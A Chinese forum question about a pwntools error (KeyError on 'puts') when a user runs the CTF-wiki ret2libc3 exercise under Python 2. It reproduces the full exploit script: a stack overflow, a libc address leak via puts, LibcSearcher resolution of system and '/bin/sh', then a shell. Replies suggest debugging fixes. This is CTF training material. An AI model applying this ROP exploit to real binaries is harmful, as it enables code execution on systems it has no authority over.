ret2libc3 python2报错

有师傅用Python2跑过CTFwiki里的ret2libc3例程吗，我这边pwnlib一直报错，找了很久也没找到什么原因

附个链接：https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#3

[+] Starting local process './ret2libc3': pid 132
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/asuka/Desktop/CTF/wiki/pwn/ret2libc3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Traceback (most recent call last):
  File "2.py", line 8, in <module>
    puts_plt = ret2libc3.plt['puts']
  File "/home/asuka/.local/lib/python2.7/site-packages/pwnlib/elf/elf.py", line 163, in __missing__
    return self[name]
  File "/home/asuka/.local/lib/python2.7/site-packages/pwnlib/elf/elf.py", line 164, in __missing__
    raise KeyError(name)
KeyError: u'puts'
[*] Stopped process './ret2libc3' (pid 132)

wiki给出的EXP如下

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print ("leak libc_start_main_got addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print ("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print ("get shell")
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

参考链接

ret2libc3地址泄露_范钦铎的博客-CSDN博客 ret2libc3地址泄露好难 好难₍₍ (̨̡ ‾᷄ᗣ‾᷅ )̧̢ ₎₎先进行代码分析通过IDA反编译一下，分析代码；发现本次实验不能直接运用我们之前system函数和bin/sh，所以我们要通过got表和plt表来找到system和bin/sh的准确位置，然后连接代码；最后进行getshell。先看看别人的思路先上个cdsn https://ctf-wiki.github.io... https://blog.csdn.net/weixin_44271563/article/details/88722970?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166735104616782425111470%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166735104616782425111470&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-88722970-null-null.nonecase&utm_term=ret2libc3%20%E9%97%AE%E9%A2%98%20pwnlib&spm=1018.2226.3001.4450

换个其他的解析包吧，你用的这个好像不是主流，而且它支持的版本写明的是>=3.5

img

你这里错误较多，先检查下这个：
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[!] 无法填充PLT：无效语法（unicorn.py，第110行）
这个需要查找1. 符号使用不正确 2. 代码缩进问题

希望有用
https://b23.tv/VYLU3hw

为什么还坚持用py2